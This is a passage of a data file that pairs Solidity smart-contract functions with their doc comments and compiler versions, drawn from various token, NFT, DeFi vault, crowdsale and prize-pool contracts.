data.tradeLockSeconds;\r\n balance = stakingContract.balanceOf(address(_game));\r\n metadata = data.metadata;\r\n }", "version": "0.4.25"} {"comment": "// @dev Update the json, trade lock, and metadata for a single game\n// @param _game - the # of the game\n// @param _json - a json encoded string containing the game's name, uri, logo, description, etc\n// @param _tradeLockSeconds - the number of seconds a card remains locked to a purchaser's account\n// @param _metadata - game-specific metadata, in bytes32 format. ", "function_code": "function updateGameMetadata(uint _game, string _json, uint _tradeLockSeconds, bytes32[] _metadata)\r\n public\r\n onlyGameAdmin(_game)\r\n {\r\n gameData[_game].tradeLockSeconds = _tradeLockSeconds;\r\n gameData[_game].json = _json;\r\n\r\n bytes32[] storage data = gameData[_game].metadata;\r\n if (_metadata.length > data.length) { data.length = _metadata.length; }\r\n for (uint k = 0; k < _metadata.length; k++) { data[k] = _metadata[k]; }\r\n for (k; k < data.length; k++) { delete data[k]; }\r\n if (_metadata.length < data.length) { data.length = _metadata.length; }\r\n\r\n emit GameMetadataUpdated(_game, _json, _tradeLockSeconds, _metadata);\r\n }", "version": "0.4.25"} {"comment": "// Claim egg and tokens", "function_code": "function claimEgg(uint256 stakingSetKey) external {\r\n // checks\r\n require(keyToStakingSet[stakingSetKey].owner == msg.sender, \"Unauthorized\");\r\n require(keyToStakingSet[stakingSetKey].eggClaimed == false, \"Already claimed\");\r\n require(block.timestamp > keyToStakingSet[stakingSetKey].timestamp + WAITING_TIMES_EGG_CLAIMING[keyToStakingSet[stakingSetKey].tokenIds.length-1], \"Too early\");\r\n\r\n // mint egg and mark as claimed\r\n Whelps breed7NFT = Whelps(_7thBreedContract);\r\n uint256 eggTokenId = breed7NFT.mint(msg.sender, keyToStakingSet[stakingSetKey].tokenId);\r\n keyToStakingSet[stakingSetKey].eggClaimed = true;\r\n\r\n // emit event for further reference\r\n emit ClaimEgg(msg.sender, stakingSetKey, eggTokenId);\r\n }", "version": "0.8.4"} {"comment": "/**\r\n @notice This function is used to invest in given balancer pool through ETH/ERC20 Tokens\r\n @param _FromTokenContractAddress The token used for investment (address(0x00) if ether)\r\n @param _ToBalancerPoolAddress The address of balancer pool to zapin\r\n @param _amount The amount of ERC to invest\r\n @param _minPoolTokens for slippage\r\n @return success or failure\r\n */", "function_code": "function ZapIn(\r\n address _FromTokenContractAddress,\r\n address _ToBalancerPoolAddress,\r\n uint256 _amount,\r\n uint256 _minPoolTokens\r\n )\r\n public\r\n payable\r\n nonReentrant\r\n stopInEmergency\r\n returns (uint256 tokensBought)\r\n {\r\n require(\r\n BalancerFactory.isBPool(_ToBalancerPoolAddress),\r\n \"Invalid Balancer Pool\"\r\n );\r\n\r\n emit zap(\r\n address(this),\r\n msg.sender,\r\n _FromTokenContractAddress,\r\n _amount,\r\n now\r\n );\r\n\r\n if (_FromTokenContractAddress == address(0)) {\r\n require(msg.value > 0, \"ERR: No ETH sent\");\r\n\r\n //transfer eth to goodwill\r\n uint256 goodwillPortion = _transferGoodwill(address(0), msg.value);\r\n\r\n address _IntermediateToken = _getBestDeal(\r\n _ToBalancerPoolAddress,\r\n msg.value,\r\n _FromTokenContractAddress\r\n );\r\n\r\n tokensBought = _performZapIn(\r\n msg.sender,\r\n _FromTokenContractAddress,\r\n _ToBalancerPoolAddress,\r\n msg.value.sub(goodwillPortion),\r\n _IntermediateToken,\r\n _minPoolTokens\r\n );\r\n\r\n return tokensBought;\r\n }\r\n\r\n require(_amount > 0, \"ERR: No ERC sent\");\r\n require(msg.value == 0, \"ERR: ETH sent with tokens\");\r\n\r\n //transfer tokens to contract\r\n IERC20(_FromTokenContractAddress).safeTransferFrom(\r\n msg.sender,\r\n address(this),\r\n _amount\r\n );\r\n\r\n //send tokens to goodwill\r\n uint256 goodwillPortion = _transferGoodwill(\r\n _FromTokenContractAddress,\r\n _amount\r\n );\r\n\r\n address _IntermediateToken = _getBestDeal(\r\n _ToBalancerPoolAddress,\r\n _amount,\r\n _FromTokenContractAddress\r\n );\r\n\r\n tokensBought = _performZapIn(\r\n msg.sender,\r\n _FromTokenContractAddress,\r\n _ToBalancerPoolAddress,\r\n _amount.sub(goodwillPortion),\r\n _IntermediateToken,\r\n _minPoolTokens\r\n );\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice This function internally called by ZapIn() and EasyZapIn()\r\n @param _toWhomToIssue The user address who want to invest\r\n @param _FromTokenContractAddress The token used for investment (address(0x00) if ether)\r\n @param _ToBalancerPoolAddress The address of balancer pool to zapin\r\n @param _amount The amount of ETH/ERC to invest\r\n @param _IntermediateToken The token for intermediate conversion before zapin\r\n @param _minPoolTokens for slippage\r\n @return The quantity of Balancer Pool tokens returned\r\n */", "function_code": "function _performZapIn(\r\n address _toWhomToIssue,\r\n address _FromTokenContractAddress,\r\n address _ToBalancerPoolAddress,\r\n uint256 _amount,\r\n address _IntermediateToken,\r\n uint256 _minPoolTokens\r\n ) internal returns (uint256 tokensBought) {\r\n // check if isBound()\r\n bool isBound = IBPool(_ToBalancerPoolAddress).isBound(\r\n _FromTokenContractAddress\r\n );\r\n\r\n uint256 balancerTokens;\r\n\r\n if (isBound) {\r\n balancerTokens = _enter2Balancer(\r\n _ToBalancerPoolAddress,\r\n _FromTokenContractAddress,\r\n _amount,\r\n _minPoolTokens\r\n );\r\n } else {\r\n // swap tokens or eth\r\n uint256 tokenBought;\r\n if (_FromTokenContractAddress == address(0)) {\r\n tokenBought = _eth2Token(_amount, _IntermediateToken);\r\n } else {\r\n tokenBought = _token2Token(\r\n _FromTokenContractAddress,\r\n _IntermediateToken,\r\n _amount\r\n );\r\n }\r\n\r\n //get BPT\r\n balancerTokens = _enter2Balancer(\r\n _ToBalancerPoolAddress,\r\n _IntermediateToken,\r\n tokenBought,\r\n _minPoolTokens\r\n );\r\n }\r\n\r\n //transfer tokens to user\r\n IERC20(_ToBalancerPoolAddress).safeTransfer(\r\n _toWhomToIssue,\r\n balancerTokens\r\n );\r\n return balancerTokens;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice This function is used to zapin to balancer pool\r\n @param _ToBalancerPoolAddress The address of balancer pool to zap in\r\n @param _FromTokenContractAddress The token used to zap in\r\n @param tokens2Trade The amount of tokens to invest\r\n @return The quantity of Balancer Pool tokens returned\r\n */", "function_code": "function _enter2Balancer(\r\n address _ToBalancerPoolAddress,\r\n address _FromTokenContractAddress,\r\n uint256 tokens2Trade,\r\n uint256 _minPoolTokens\r\n ) internal returns (uint256 poolTokensOut) {\r\n require(\r\n IBPool(_ToBalancerPoolAddress).isBound(_FromTokenContractAddress),\r\n \"Token not bound\"\r\n );\r\n\r\n uint256 allowance = IERC20(_FromTokenContractAddress).allowance(\r\n address(this),\r\n _ToBalancerPoolAddress\r\n );\r\n\r\n if (allowance < tokens2Trade) {\r\n IERC20(_FromTokenContractAddress).safeApprove(\r\n _ToBalancerPoolAddress,\r\n uint256(-1)\r\n );\r\n }\r\n\r\n poolTokensOut = IBPool(_ToBalancerPoolAddress).joinswapExternAmountIn(\r\n _FromTokenContractAddress,\r\n tokens2Trade,\r\n _minPoolTokens\r\n );\r\n\r\n require(poolTokensOut > 0, \"Error in entering balancer pool\");\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice Function gives the expected amount of pool tokens on investing\r\n @param _ToBalancerPoolAddress Address of balancer pool to zapin\r\n @param _IncomingERC The amount of ERC to invest\r\n @param _FromToken Address of token to zap in with\r\n @return Amount of BPT token\r\n */", "function_code": "function getToken2BPT(\r\n address _ToBalancerPoolAddress,\r\n uint256 _IncomingERC,\r\n address _FromToken\r\n ) internal view returns (uint256 tokensReturned) {\r\n uint256 totalSupply = IBPool(_ToBalancerPoolAddress).totalSupply();\r\n uint256 swapFee = IBPool(_ToBalancerPoolAddress).getSwapFee();\r\n uint256 totalWeight = IBPool(_ToBalancerPoolAddress)\r\n .getTotalDenormalizedWeight();\r\n uint256 balance = IBPool(_ToBalancerPoolAddress).getBalance(_FromToken);\r\n uint256 denorm = IBPool(_ToBalancerPoolAddress).getDenormalizedWeight(\r\n _FromToken\r\n );\r\n\r\n tokensReturned = IBPool(_ToBalancerPoolAddress)\r\n .calcPoolOutGivenSingleIn(\r\n balance,\r\n denorm,\r\n totalSupply,\r\n totalWeight,\r\n _IncomingERC,\r\n swapFee\r\n );\r\n }", "version": "0.5.17"} {"comment": "/**\r\n @notice This function is used to buy tokens from eth\r\n @param _tokenContractAddress Token address which we want to buy\r\n @return The quantity of token bought\r\n */", "function_code": "function _eth2Token(uint256 _ethAmt, address _tokenContractAddress)\r\n internal\r\n returns (uint256 tokenBought)\r\n {\r\n if (_tokenContractAddress == wethTokenAddress) {\r\n IWETH(wethTokenAddress).deposit.value(_ethAmt)();\r\n return _ethAmt;\r\n }\r\n\r\n address[] memory path = new address[](2);\r\n path[0] = wethTokenAddress;\r\n path[1] = _tokenContractAddress;\r\n tokenBought = uniswapRouter.swapExactETHForTokens.value(_ethAmt)(\r\n 1,\r\n path,\r\n address(this),\r\n deadline\r\n )[path.length - 1];\r\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Initialize the new money market\n * @param comptroller_ The address of the Comptroller\n * @param interestRateModel_ The address of the interest rate model\n * @param name_ ERC-20 name of this token\n * @param symbol_ ERC-20 symbol of this token\n */", "function_code": "function initialize(ComptrollerInterface comptroller_,\n InterestRateModel interestRateModel_,\n string memory name_,\n string memory symbol_,\n uint256 reserveFactorMantissa_,\n uint256 adminFeeMantissa_) public {\n // CToken initialize does the bulk of the work\n uint256 initialExchangeRateMantissa_ = 0.2e18;\n uint8 decimals_ = 18;\n super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, reserveFactorMantissa_, adminFeeMantissa_);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice createIDO\n */", "function_code": "function createIDO(\n uint256 saleTarget,\n address fundToken,\n uint256 fundTarget,\n uint256 startTime,\n uint256 endTime,\n uint256 claimTime,\n uint256 minFundAmount,\n uint256 fcfsAmount,\n string memory meta\n ) external isOperatorOrOwner returns (address) {\n IDOSec ido = new IDOSec(this, saleTarget, fundToken, fundTarget);\n\n ido.setBaseData(startTime, endTime, claimTime, minFundAmount, fcfsAmount, meta);\n\n ido.transferOwnership(msg.sender);\n\n IDOs.push(address(ido));\n\n emit NewIDOCreated(address(ido), msg.sender);\n\n return address(ido);\n }", "version": "0.8.2"} {"comment": "/**\r\n * Accept ownership request, works only if called by new owner\r\n */", "function_code": "function acceptOwnership() {\r\n // Avoid multiple events triggering in case of several calls from owner\r\n if (msg.sender == newOwner && owner != newOwner) {\r\n OwnershipTransferred(owner, newOwner);\r\n owner = newOwner;\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Transfer the balance from owner's account to another account\r\n *\r\n * @param _to target address\r\n * @param _amount amount of tokens\r\n * @return true on success\r\n */", "function_code": "function transfer(address _to, uint256 _amount) returns (bool success) {\r\n if (balanceOf[msg.sender] >= _amount // User has balance\r\n && _amount > 0 // Non-zero transfer\r\n && balanceOf[_to] + _amount > balanceOf[_to] // Overflow check\r\n ) {\r\n balanceOf[msg.sender] -= _amount;\r\n balanceOf[_to] += _amount;\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Spender of tokens transfer an amount of tokens from the token owner's\r\n * balance to the spender's account. The owner of the tokens must already\r\n * have approve(...)-d this transfer\r\n *\r\n * @param _from spender address\r\n * @param _to target address\r\n * @param _amount amount of tokens\r\n * @return true on success\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {\r\n if (balanceOf[_from] >= _amount // From a/c has balance\r\n && allowance[_from][msg.sender] >= _amount // Transfer approved\r\n && _amount > 0 // Non-zero transfer\r\n && balanceOf[_to] + _amount > balanceOf[_to] // Overflow check\r\n ) {\r\n balanceOf[_from] -= _amount;\r\n allowance[_from][msg.sender] -= _amount;\r\n balanceOf[_to] += _amount;\r\n Transfer(_from, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * EloPlayToken contract constructor\r\n *\r\n * @param _start_ts crowdsale start timestamp (unix)\r\n * @param _end_ts crowdsale end timestamp (unix)\r\n * @param _cap crowdsale upper cap (in wei)\r\n * @param _target_address multisignature wallet where Ethers will be sent to\r\n * @param _target_tokens_address account where 30% of tokens will be sent to\r\n * @param _usdethrate USD to ETH rate\r\n */", "function_code": "function EloPlayToken(uint256 _start_ts, uint256 _end_ts, uint256 _cap, address _target_address, address _target_tokens_address, uint256 _usdethrate) {\r\n START_TS = _start_ts;\r\n END_TS = _end_ts;\r\n CAP = _cap;\r\n USDETHRATE = _usdethrate;\r\n TARGET_ADDRESS = _target_address;\r\n TARGET_TOKENS_ADDRESS = _target_tokens_address;\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Get tokens per ETH for given date/time\r\n *\r\n * @param _at timestamp (unix)\r\n * @return tokens/ETH rate for given timestamp\r\n */", "function_code": "function buyPriceAt(uint256 _at) constant returns (uint256) {\r\n if (_at < START_TS) {\r\n return 0;\r\n } else if (_at < START_TS + 3600) {\r\n // 1st hour = 10000 + 20% = 12000\r\n return 12000;\r\n } else if (_at < START_TS + 3600 * 24) {\r\n // 1st day = 10000 + 15% = 11500\r\n return 11500;\r\n } else if (_at < START_TS + 3600 * 24 * 7) {\r\n // 1st week = 10000 + 10% = 11000\r\n return 11000;\r\n } else if (_at < START_TS + 3600 * 24 * 7 * 2) {\r\n // 2nd week = 10000 + 5% = 10500\r\n return 10500;\r\n } else if (_at <= END_TS) {\r\n // More than 2 weeks = 10000\r\n return 10000;\r\n } else {\r\n return 0;\r\n }\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Owner to add precommitment funding token balance before the crowdsale commences\r\n * Used for pre-sale commitments, added manually\r\n *\r\n * @param _participant address that will receive tokens\r\n * @param _balance number of tokens\r\n * @param _ethers Ethers value (needed for stats)\r\n *\r\n */", "function_code": "function addPrecommitment(address _participant, uint256 _balance, uint256 _ethers) onlyOwner {\r\n require(now < START_TS);\r\n // Minimum value = 1ELT\r\n // Since we are using 18 decimals for token\r\n require(_balance >= 1 ether);\r\n\r\n // To avoid overflow, first divide then multiply (to clearly show 70%+30%, result wasn't precalculated)\r\n uint additional_tokens = _balance / 70 * 30;\r\n\r\n balanceOf[_participant] = balanceOf[_participant].add(_balance);\r\n balanceOf[TARGET_TOKENS_ADDRESS] = balanceOf[TARGET_TOKENS_ADDRESS].add(additional_tokens);\r\n\r\n totalSupply = totalSupply.add(_balance);\r\n totalSupply = totalSupply.add(additional_tokens);\r\n\r\n // Add ETH raised to total\r\n totalEthers = totalEthers.add(_ethers);\r\n\r\n Transfer(0x0, _participant, _balance);\r\n Transfer(0x0, TARGET_TOKENS_ADDRESS, additional_tokens);\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Transfer the balance from owner's account to another account, with a\r\n * check that the crowdsale is finalized\r\n *\r\n * @param _to tokens receiver\r\n * @param _amount tokens amount\r\n * @return true on success\r\n */", "function_code": "function transfer(address _to, uint _amount) returns (bool success) {\r\n // Cannot transfer before crowdsale ends or cap reached\r\n require(now > END_TS || totalEthers >= CAP);\r\n // Standard transfer\r\n return super.transfer(_to, _amount);\r\n }", "version": "0.4.15"} {"comment": "/**\r\n * Spender of tokens transfer an amount of tokens from the token owner's\r\n * balance to another account, with a check that the crowdsale is\r\n * finalized\r\n *\r\n * @param _from tokens sender\r\n * @param _to tokens receiver\r\n * @param _amount tokens amount\r\n * @return true on success\r\n */", "function_code": "function transferFrom(address _from, address _to, uint _amount)\r\n returns (bool success) {\r\n // Cannot transfer before crowdsale ends or cap reached\r\n require(now > END_TS || totalEthers >= CAP);\r\n // Standard transferFrom\r\n return super.transferFrom(_from, _to, _amount);\r\n }", "version": "0.4.15"} {"comment": "// This function must be called after builder shop instance is created - it can be called again\n// to change the split; call this once per nifty type to set up royalty payments properly", "function_code": "function initializeRoyalties(address splitterImplementation, uint256 niftyType, address[] calldata payees, uint256[] calldata shares_) external onlyValidSender {\n address previousReceiver = _getRoyaltyReceiverByNiftyType(niftyType);\n address newReceiver = address(0);\n if(payees.length == 1) {\n newReceiver = payees[0];\n _royaltyReceivers[niftyType] = newReceiver;\n delete _royaltySplitters[niftyType];\n } else { \n delete _royaltyReceivers[niftyType];\n require(IERC165(splitterImplementation).supportsInterface(type(ICloneablePaymentSplitter).interfaceId), \"Not a valid payment splitter\");\n newReceiver = payable (Clones.clone(splitterImplementation));\n ICloneablePaymentSplitter(newReceiver).initialize(payees, shares_);\n _royaltySplitters[niftyType] = newReceiver; \n }\n\n emit RoyaltyReceiverUpdated(niftyType, previousReceiver, newReceiver); \n }", "version": "0.8.4"} {"comment": "/**\n * @dev Create specified number of nifties en masse.\n * Once an NFT collection is spawned by the factory contract, we make calls to set the IPFS\n * hash (above) for each Nifty type in the collection.\n * Subsequently calls are issued to this function to mint the appropriate number of tokens\n * for the project.\n */", "function_code": "function mintNifty(uint256 niftyType, uint256 count) public onlyValidSender {\n require(!_getFinalized(niftyType), \"NiftyBuilderInstance: minting concluded for nifty type\");\n \n uint256 tokenNumber = _mintCount[niftyType] + 1;\n uint256 tokenId00 = _encodeTokenId(niftyType, tokenNumber);\n uint256 tokenId01 = tokenId00 + count - 1;\n \n for (uint256 tokenId = tokenId00; tokenId <= tokenId01; tokenId++) {\n _owners[tokenId] = _defaultOwner;\n }\n _mintCount[niftyType] += count;\n _balances[_defaultOwner] += count;\n\n emit ConsecutiveTransfer(tokenId00, tokenId01, address(0), _defaultOwner);\n }", "version": "0.8.4"} {"comment": "/**\n @notice equivalent to `deposit` except logic is configured for\n ETH instead of ERC20 payments.\n @param amountDesired amount of ERC20 token desired by caller\n @param amountEthMin minimum amount of ETH desired by caller\n @param amountMin minimum amount of ERC20 token desired by caller\n @param recipient The address for which the liquidity will be created\n @param deadline Blocktimestamp that this must execute before\n @return shares\n @return amountEthIn how much ETH was actually deposited\n @return amountIn how much the ERC20 token was actually deposited\n */", "function_code": "function depositETH(\n uint256 amountDesired,\n uint256 amountEthMin,\n uint256 amountMin,\n address recipient,\n uint256 deadline\n )\n external\n payable\n override\n notExpired(deadline)\n returns (\n uint256 shares,\n uint256 amountEthIn,\n uint256 amountIn\n )\n {\n TOKEN _WETH_TOKEN = WETH_TOKEN;\n if (_WETH_TOKEN == TOKEN.ZERO) {\n (shares, amountEthIn, amountIn) = _depositETH(\n _WETH_TOKEN,\n msg.value,\n amountDesired,\n amountEthMin,\n amountMin,\n recipient,\n deadline\n );\n } else {\n (shares, amountIn, amountEthIn) = _depositETH(\n _WETH_TOKEN,\n amountDesired,\n msg.value,\n amountMin,\n amountEthMin,\n recipient,\n deadline\n );\n }\n }", "version": "0.7.6"} {"comment": "/**\n @notice withdraws the desired shares from the vault\n @dev same as `withdraw` except this can be called from an `approve`d address\n @param withdrawer the address to withdraw from\n @param shares number of shares to withdraw\n @param amountEthMin amount of ETH desired by user\n @param amountMin Minimum amount of ERC20 token desired by user\n @param recipient address to recieve ETH and ERC20 withdrawals\n @param deadline blocktimestamp that this must execute by\n @return amountEthOut how much ETH was actually withdrawn\n @return amountOut how much ERC20 token was actually withdrawn\n */", "function_code": "function withdrawETHFrom(\n address withdrawer,\n uint256 shares,\n uint256 amountEthMin,\n uint256 amountMin,\n address payable recipient,\n uint256 deadline\n )\n external\n override\n canSpend(withdrawer, shares)\n returns (uint256 amountEthOut, uint256 amountOut)\n {\n TOKEN _WETH_TOKEN = WETH_TOKEN;\n uint256 amount0Min;\n uint256 amount1Min;\n if (_WETH_TOKEN == TOKEN.ZERO) {\n amount0Min = amountEthMin;\n amount1Min = amountMin;\n (amountEthOut, amountOut) = _withdrawETH(\n _WETH_TOKEN,\n withdrawer,\n shares,\n amount0Min,\n amount1Min,\n recipient,\n deadline\n );\n } else {\n amount0Min = amountMin;\n amount1Min = amountEthMin;\n (amountOut, amountEthOut) = _withdrawETH(\n _WETH_TOKEN,\n withdrawer,\n shares,\n amount0Min,\n amount1Min,\n recipient,\n deadline\n );\n }\n }", "version": "0.7.6"} {"comment": "/**\n @notice withdraws the desired shares from the vault\n @param shares number of shares to withdraw\n @param amountEthMin amount of ETH desired by user\n @param amountMin Minimum amount of ERC20 token desired by user\n @param recipient address to recieve ETH and ERC20 withdrawals\n @param deadline blocktimestamp that this must execute by\n @return amountEthOut how much ETH was actually withdrawn\n @return amountOut how much ERC20 token was actually withdrawn\n */", "function_code": "function withdrawETH(\n uint256 shares,\n uint256 amountEthMin,\n uint256 amountMin,\n address payable recipient,\n uint256 deadline\n ) external override returns (uint256 amountEthOut, uint256 amountOut) {\n TOKEN _WETH_TOKEN = WETH_TOKEN;\n uint256 amount0Min;\n uint256 amount1Min;\n if (_WETH_TOKEN == TOKEN.ZERO) {\n amount0Min = amountEthMin;\n amount1Min = amountMin;\n (amountEthOut, amountOut) = _withdrawETH(\n _WETH_TOKEN,\n msg.sender,\n shares,\n amount0Min,\n amount1Min,\n recipient,\n deadline\n );\n } else {\n amount0Min = amountMin;\n amount1Min = amountEthMin;\n (amountOut, amountEthOut) = _withdrawETH(\n _WETH_TOKEN,\n msg.sender,\n shares,\n amount0Min,\n amount1Min,\n recipient,\n deadline\n );\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Selects a user using a random number. The random number will be uniformly bounded to the ticket totalSupply.\n/// @param randomNumber The random number to use to select a user.\n/// @return The winner", "function_code": "function draw(uint256 randomNumber) external view override returns (address) {\n uint256 bound = totalSupply();\n address selected;\n if (bound == 0) {\n selected = address(0);\n } else {\n uint256 token = UniformRandomNumber.uniform(randomNumber, bound);\n selected = address(uint256(sortitionSumTrees.draw(TREE_KEY, token)));\n }\n return selected;\n }", "version": "0.6.12"} {"comment": "/// @dev Controller hook to provide notifications & rule validations on token transfers to the controller.\n/// This includes minting and burning.\n/// May be overridden to provide more granular control over operator-burning\n/// @param from Address of the account sending the tokens (address(0x0) on minting)\n/// @param to Address of the account receiving the tokens (address(0x0) on burning)\n/// @param amount Amount of tokens being transferred", "function_code": "function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\n super._beforeTokenTransfer(from, to, amount);\n\n // optimize: ignore transfers to self\n if (from == to) {\n return;\n }\n\n if (from != address(0)) {\n uint256 fromBalance = balanceOf(from).sub(amount);\n sortitionSumTrees.set(TREE_KEY, fromBalance, bytes32(uint256(from)));\n }\n\n if (to != address(0)) {\n uint256 toBalance = balanceOf(to).add(amount);\n sortitionSumTrees.set(TREE_KEY, toBalance, bytes32(uint256(to)));\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Permits this contract to spend on a users behalf, and deposits into the prize pool.\n/// @dev The Dai permit params match the Dai#permit function, but it expects the `spender` to be\n/// the address of this contract.\n/// @param holder The address spending the tokens\n/// @param nonce The nonce of the tx. Should be retrieved from the Dai token\n/// @param expiry The timestamp at which the sig expires\n/// @param allowed If true, then the spender is approving holder the max allowance. False makes the allowance zero.\n/// @param v The `v` portion of the signature.\n/// @param r The `r` portion of the signature.\n/// @param s The `s` portion of the signature.\n/// @param prizePool The prize pool to deposit into\n/// @param to The address that will receive the controlled tokens\n/// @param amount The amount to deposit\n/// @param controlledToken The type of token to be minted in exchange (i.e. tickets or sponsorship)\n/// @param referrer The address that referred the deposit", "function_code": "function permitAndDepositTo(\n // --- Approve by signature ---\n address dai, address holder, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s,\n address prizePool, address to, uint256 amount, address controlledToken, address referrer\n ) external {\n require(msg.sender == holder, \"PermitAndDepositDai/only-signer\");\n DaiInterface(dai).permit(holder, address(this), nonce, expiry, allowed, v, r, s);\n _depositTo(dai, holder, prizePool, to, amount, controlledToken, referrer);\n }", "version": "0.6.12"} {"comment": "//\n// Buy a single ticket.\n//", "function_code": "function buyOne() onlyUnpaused payable external {\r\n TournamentTicket ticket = getTicketContract();\r\n\r\n require(ticket.balanceOf(msg.sender) == 0, \"You already have a ticket, and you only need one to participate!\");\r\n require(pricePerTicket > 0, \"The price per ticket needs to be more than 0!\");\r\n require(msg.value == pricePerTicket, \"The amout sent is not corresponding with the ticket price!\");\r\n \r\n require(\r\n ticket.transferFrom(getTicketOwnerAddress(), msg.sender, 1000000000000000000),\r\n \"Ticket transfer failed!\"\r\n );\r\n \r\n getTicketOwnerAddress().transfer(msg.value);\r\n }", "version": "0.5.8"} {"comment": "/**\r\n * @dev Internal function to mint a new token.\r\n * Reverts if the given token ID already exists.\r\n * @param sign struct combination of uint8, bytes32, bytes32 are v, r, s.\r\n * @param tokenURI string memory URI of the token to be minted.\r\n * @param fee uint256 royalty of the token to be minted.\r\n */", "function_code": "function createCollectible(string memory tokenURI, uint256 fee, Sign memory sign) public returns (uint256) {\r\n uint256 newItemId = tokenCounter;\r\n verifySign(tokenURI, sign);\r\n _safeMint(msg.sender, newItemId, fee);\r\n _setTokenURI(newItemId, tokenURI);\r\n tokenCounter = tokenCounter + 1;\r\n return newItemId;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Burns a specific amount of tokens.\r\n * @param _account The account whose tokens will be burnt.\r\n * @param _value The amount of token to be burned.\r\n */", "function_code": "function burn(address _account, uint256 _value) onlyOwner public {\r\n require(_account != address(0));\r\n require(_enableActions);\r\n\r\n // SafeMath.sub will throw if there is not enough balance.\r\n _totalSupply = _totalSupply.sub(_value);\r\n _balances[_account] = _balances[_account].sub(_value);\r\n emit Transfer(_account, address(0), _value);\r\n }", "version": "0.4.24"} {"comment": "/** Calculate the current price for buy in amount. */", "function_code": "function calculateTokenAmount(uint weiAmount, uint weiRaised) public view returns (uint tokenAmount) {\r\n if (weiAmount == 0) {\r\n return 0;\r\n }\r\n\r\n var (rate, index) = currentRate(weiRaised);\r\n tokenAmount = weiAmount.mul(rate);\r\n\r\n // if we crossed slot border, recalculate remaining tokens according to next slot price\r\n if (weiRaised.add(weiAmount) > limits[index]) {\r\n uint currentSlotWei = limits[index].sub(weiRaised);\r\n uint currentSlotTokens = currentSlotWei.mul(rate);\r\n uint remainingWei = weiAmount.sub(currentSlotWei);\r\n tokenAmount = currentSlotTokens.add(calculateTokenAmount(remainingWei, limits[index]));\r\n }\r\n }", "version": "0.4.18"} {"comment": "// register new contract for state sync", "function_code": "function register(address sender, address receiver) public {\r\n require(\r\n isOwner() || registrations[receiver] == msg.sender,\r\n \"StateSender.register: Not authorized to register\"\r\n );\r\n registrations[receiver] = sender;\r\n if (registrations[receiver] == address(0)) {\r\n emit NewRegistration(msg.sender, sender, receiver);\r\n } else {\r\n emit RegistrationUpdated(msg.sender, sender, receiver);\r\n }\r\n }", "version": "0.5.11"} {"comment": "/**\r\n *batch transfer token for a list of specified addresses\r\n * @param _toList The list of addresses to transfer to.\r\n * @param _tokensList The list of amount to be transferred.\r\n */", "function_code": "function batchTransfer(address[] _toList, uint256[] _tokensList) public returns (bool) {\r\n require(_toList.length <= 100);\r\n require(_toList.length == _tokensList.length);\r\n \r\n uint256 sum = 0;\r\n for (uint32 index = 0; index < _tokensList.length; index++) {\r\n sum = sum.add(_tokensList[index]);\r\n }\r\n\r\n // if the sender doenst have enough balance then stop\r\n require (balances[msg.sender] >= sum);\r\n \r\n for (uint32 i = 0; i < _toList.length; i++) {\r\n transfer(_toList[i],_tokensList[i]);\r\n }\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "// get frozen balance", "function_code": "function frozenBalanceOf(address _owner) public constant returns (uint256 value) {\r\n for (uint i = 0; i < frozenBalanceCount; i++) {\r\n FrozenBalance storage frozenBalance = frozenBalances[i];\r\n if (_owner == frozenBalance.owner) {\r\n value = value.add(frozenBalance.value);\r\n }\r\n }\r\n return value;\r\n }", "version": "0.4.18"} {"comment": "// unfreeze frozen amount\n// everyone can call this function to unfreeze balance", "function_code": "function unfreeze() public returns (uint256 releaseAmount) {\r\n uint index = 0;\r\n while (index < frozenBalanceCount) {\r\n if (now >= frozenBalances[index].unfreezeTime) {\r\n releaseAmount += frozenBalances[index].value;\r\n unfreezeBalanceByIndex(index);\r\n } else {\r\n index++;\r\n }\r\n }\r\n return releaseAmount;\r\n }", "version": "0.4.18"} {"comment": "// check is release record existed\n// if existed return true, else return false", "function_code": "function checkIsReleaseRecordExist(uint256 timestamp) internal view returns(bool _exist) {\r\n bool exist = false;\r\n if (releaseRecordsCount > 0) {\r\n for (uint index = 0; index < releaseRecordsCount; index++) {\r\n if ((releaseRecords[index].releaseTime.parseTimestamp().year == timestamp.parseTimestamp().year)\r\n && (releaseRecords[index].releaseTime.parseTimestamp().month == timestamp.parseTimestamp().month)\r\n && (releaseRecords[index].releaseTime.parseTimestamp().day == timestamp.parseTimestamp().day)) {\r\n exist = true;\r\n }\r\n }\r\n }\r\n return exist;\r\n }", "version": "0.4.18"} {"comment": "// update release amount for single day\n// according to dividend rule in https://coinhot.com", "function_code": "function updateReleaseAmount(uint256 timestamp) internal {\r\n uint256 timeElapse = timestamp.sub(createTime);\r\n uint256 cycles = timeElapse.div(180 days);\r\n if (cycles > 0) {\r\n if (cycles <= 10) {\r\n releaseAmountPerDay = standardReleaseAmount;\r\n for (uint index = 0; index < cycles; index++) {\r\n releaseAmountPerDay = releaseAmountPerDay.div(2);\r\n }\r\n } else {\r\n releaseAmountPerDay = 0;\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\n * @dev Function for add arbitrary ERC20 collaterals\n *\n * @param _wrappedTokenId NFT id from thgis contarct\n * @param _erc20 address of erc20 collateral for add\n * @param _amount amount erc20 collateral for add\n */", "function_code": "function addERC20Collateral(\n uint256 _wrappedTokenId, \n address _erc20, \n uint256 _amount\n ) \n external\n nonReentrant \n {\n 